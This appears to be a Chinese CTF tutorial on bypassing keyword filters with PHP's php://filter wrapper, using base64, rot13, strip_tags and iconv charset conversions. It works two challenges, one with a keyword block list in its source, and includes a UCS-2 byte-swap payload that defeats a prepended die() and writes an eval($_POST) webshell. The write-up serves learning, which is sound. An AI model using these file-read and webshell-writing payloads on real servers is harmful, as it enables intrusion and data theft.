CTF题型 php://filter特殊编码绕过小汇总

CTF题型 php://filter特殊编码绕过小汇总

文章目录

  • CTF题型 php://filter特殊编码绕过小汇总
  • 特殊编码
    • base64编码
    • string过滤器
    • iconv字符集
  • 例题
    • 1.[Newstarctf 2023 week2 include]
    • 2.[Ctfshow web 117]

php://filter 是一个伪协议,它允许你读取经过过滤器处理的数据流。过滤器可以执行各种转换,如 base64 编码/解码、字符串压缩/解压缩等

它的存在是数据流和控制流的“中间人”,有点类似我们抓包工具Burp的感觉,我们可以人为进行操控更改数据流
应用范围/特征关键词
在这里插入图片描述
比如readfile(),file(),file_get_content(),include()

特殊编码

  1. base家族

  2. string过滤器

  3. iconv字符集

base64编码

注意php://filter只支持base64

image-20240328220037091

php://filter/convert.base64-encode/resource=flag.php

string过滤器

比较常用的就是rot13

php://filter/string.rot13/resource=flag.php
读取后进行解码
在线工具:https://www.useotools.com/zh/rot13

string.strip_tags从字符串中去除 HTML 和 PHP 标记,php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除

php://filter/string.strip_tags/resource=flag.php

还有大小写的转换,但是基本没什么用

iconv字符集

convert.iconv..

image-20240328201706030

如何理解结构

convert.iconv..

  • input-encoding

    用于解释 string 的当前编码。 数据流 可以识别的字符集

  • to_encoding

    所需的结果编码。 (进行转换的字符集)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

UCS是什么:通用多八位编码字符集

常用的编码绕过

对于小众编码的解码在线网站 https://www.novel.tools/decode/

将flag.php内容解释为UTF-8后转化为UTF-7进行输出

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF-7后转化为UCS-2进行输出

php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php

依次类推,编码方法有很多

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

例题

1.[Newstarctf 2023 week2 include]

https://buuoj.cn/match/matches/190/challenges

过滤了base,rot可以用iconv字符集绕过

php://filter/convert.iconv.UTF-7.UCS-4/resource=flag.php

可以直接输出flag

image-20240328143436756

正常一点我们可以用

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

将flag.php内容解释为UTF -8编码识别后转化为UTF-7进行输出

image-20240328201806819

对于小众编码的解码在线网站 https://www.novel.tools/decode/

image-20240328201909257

一样可以得到内容

image-20240328202103745

2.[Ctfshow web 117]

<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

非常典型的绕过死亡exit

这里禁止了base64,rot13,string

这里file_put_contents(文件名,部分文件内容可控)显然要我们写马进去

但是不能让<?php die();?>生效,但是要保证php内容可以被解析

iconv编码绕过

实现原理分析:

比如官方的解法:php://filter/write=convert.iconv.ucs-2be.ucs-2le/resource=shell.php

现在我们要写入的数据流是<?php die();?>?<hp pvela$(P_SO[T]1;)>?

但是在真正写入之前php://filter控制了数据流

将数据流数据读取为ucs-2be然后转换ucs-2le后输出写入文件

image-20240328215039452

这样就实现了绕过死亡exit,并且实现了写马

具体做题步骤:

image-20240328213702317

可以实现写入马子

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/502402.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Java中的Object类解析与应用探究

作为一名对技术充满热情的学习者&#xff0c;我一直以来都深刻地体会到知识的广度和深度。在这个不断演变的数字时代&#xff0c;我远非专家&#xff0c;而是一位不断追求进步的旅行者。通过这篇博客&#xff0c;我想分享我在某个领域的学习经验&#xff0c;与大家共同探讨、共…

基于单片机自行车码表系统设计

**单片机设计介绍&#xff0c;基于单片机自行车码表系统设计 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机自行车码表系统设计主要涵盖了硬件设计、软件设计以及功能实现等多个方面。以下是对该设计概要的详细描述&#xff1a…

Sql注入靶场环境搭建

文章目录 前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 例如&#xff1a;随着人工智能的不断发展&#xff0c;机器学习这门技术也越来越重要&#xff0c;很多人都开启了学习机器…

全国青少年软件编程(Python)等级考试三级考试真题2023年12月——持续更新.....

青少年软件编程&#xff08;Python&#xff09;等级考试试卷&#xff08;三级&#xff09; 分数&#xff1a;100 题数&#xff1a;38 一、单选题(共25题&#xff0c;共50分) 1.一个非零的二进制正整数&#xff0c;在其末尾添加两个“0”&#xff0c;则该新数将是原数的&#xf…

PS从入门到精通视频各类教程整理全集,包含素材、作业等(3)

PS从入门到精通视频各类教程整理全集&#xff0c;包含素材、作业等 最新PS以及插件合集&#xff0c;可在我以往文章中找到 由于阿里云盘有分享次受限制和文件大小限制&#xff0c;今天先分享到这里&#xff0c;后续持续更新 中级教程 https://www.alipan.com/s/unii5YxtM8B 提…

【计算机考研】408复习资料汇总+分享

王道对于当作408的参考书还是不错的 所以&#xff0c;矮子里面挑高个&#xff0c;大家将就一下算了&#xff0c;很多人说天勤的讲义也可以&#xff0c;只能说你去用一下试试就知道了&#xff0c;天勤除了数据结构的代码还可以&#xff0c;其他的比不过王道的资料。所以&#x…

视频监控联网平台的评价指标体系

目录 一、视频应用系统评价指标体系的设计思路 &#xff08;一&#xff09;、明确评价目标和原则 &#xff08;二&#xff09;、确定评价指标 &#xff08;三&#xff09;、收集和处理数据 &#xff08;四&#xff09;、建立评价模型 &#xff08;五&#xff09;、进行综…

Linux---命令行参数

一、命令行参数 在介绍命令行参数前&#xff0c;我想问大家一个问题&#xff0c;在以前写C/C时&#xff0c;main 函数可不可以带参数&#xff1f; 答案是可以带的&#xff0c;int main(int argc, char* argv[]){}&#xff0c;但平时写代码时也证明了&#xff0c;main 函数的参…

Android客户端自动化UI自动化airtest从0到1搭建macos+脚本设计demo演示+全网最全最详细保姆级有步骤有图

iOS客户端自动化UI自动化airtest从0到1搭建macosdemo演示-CSDN博客 一、基础环境 1. 安装jdk 选择jdk8 如果下载高版本 可能不匹配会失败 下载.dmg文件 苹果电脑 &#xff5c; macOS &#xff5c; jdk1.8 &#xff5c; 环境变量配置_jdk1.8 mac-CSDN博客 Java Downloads …

德邦快递、物流上门取件,超过3kg,大件发德邦更优惠

“寄行李&#xff0c;出闲置物品&#xff0c;旅游寄特产”&#xff0c;发德邦&#xff1b; “家具、家电、机械设备等大件物品”&#xff0c;发德邦&#xff1b; “跨省或长距离的货物运输”&#xff0c;发德邦&#xff1b; “电商卖家&#xff0c;需要定期批量发货”,发德邦…

通过MobaXterm工具可视化服务器桌面

一、MobaXterm工具 MobaXterm是一款功能强大的远程连接工具&#xff0c;可以连接到各种类型的服务器&#xff0c;包括Linux、Windows和MacOS。支持多种协议&#xff0c;包括SSH、RDP、VNC和Telnet MobaXterm可以通过X11转发功能可视化服务器桌面。 二、MobaXterm工具可视化服务…

制作教程:如何制作一个可组合多种内容的二维码

二维码中如何放入图片和文字呢&#xff1f;现在我们经常需要通过扫码的方式&#xff0c;在手机上查看二维码中的内容&#xff0c;比如常见的类型有视频、图片、文件、文字、表单等类型。其中&#xff0c;一般在查看物品信息或者人员信息多以图文的形式来展示&#xff0c;那么图…

9.0-源码分析:Dubbo Remoting 层核心接口分析

dubbo-remoting 模块&#xff0c;该模块提供了多种客户端和服务端通信的功能。在 Dubbo 的整体架构设计图中&#xff0c;我们可以看到最底层红色框选中的部分即为 Remoting 层&#xff0c;其中包括了 Exchange、Transport和Serialize 三个子层次。这里我们要介绍的 dubbo-remot…

love 2d Lua 俄罗斯方块超详细教程

源码已经更新在CSDN的码库里&#xff1a; git clone https://gitcode.com/funsion/love2d-game.git 一直在找Lua 能快速便捷实现图形界面的软件&#xff0c;找了一堆&#xff0c;终于发现love2d是小而美的原生lua图形界面实现的方式。 并参考相关教程做了一个更详细的&#x…

javaWeb项目-学生考勤管理系统功能介绍

项目关键技术 开发工具&#xff1a;IDEA 、Eclipse 编程语言: Java 数据库: MySQL5.7 框架&#xff1a;ssm、Springboot 前端&#xff1a;Vue、ElementUI 关键技术&#xff1a;springboot、SSM、vue、MYSQL、MAVEN 数据库工具&#xff1a;Navicat、SQLyog 1、JAVA技术 JavaSc…

百度轨迹验证码识别代码分享

百度出了如图所示的验证码&#xff0c;需要拖动滑块&#xff0c;与如图所示的曲线轨迹进行重合。经过不断研究&#xff0c;终于解决了这个问题。我把识别代码分享给大家。 下面是使用selenium进行验证的&#xff0c;这样可以看到轨迹滑动的过程&#xff0c;如果需要使用js逆向…

MySQL Server 8.3.0 重要变更解析

MySQL Server 8.3.0 Innovation 版本是 MySQL 8.x 系列最后一个创新版本&#xff0c;下个月即将迎来 MySQL 8.4.0 LTS 长期支持版本。 关于发版模型变更&#xff0c;在之前的文章 重磅&#xff01;MySQL 8.1.0 已来&#xff01; 中已有所介绍。 这里补充一点&#xff0c;对于 M…

国家发改委特许经营方案对公共数据运营的思考

数据交易所自贵州大数据交易所成立以来&#xff0c;已经有无数数据交易所像春笋一样在中华大地冒出来。随着国家数据局的成立、数据要素二十条的发布&#xff0c;各地数据交易所开启了竞赛机制&#xff0c;在数据体量、数商数量、交易规模等指标展开博弈。 公共数据运营是否会马…

Spring6-代理模式 / AOP切面编程

目录 1. 场景模拟 1.1. 声明接口 1.2. 创建实现类 1.3. 创建带日志功能的实现类 1.4. 提出问题 2. 代理模式 2.1. 概述 2.2. 静态代理 2.3. 动态代理 3. AOP切面编程 3.1. 概述 3.2. 相关术语 3.2.1. 横切关注点 3.2.2. 通知&#xff08;增强&#xff09; 3.2.3…

【JavaSE】java刷题--数组练习

前言 本篇讲解了一些数组相关题目&#xff08;主要以代码的形式呈现&#xff09;&#xff0c;主要目的在于巩固数组相关知识。 上一篇 数组 讲解了一维数组和二维数组的基础知识~ 欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;欢迎…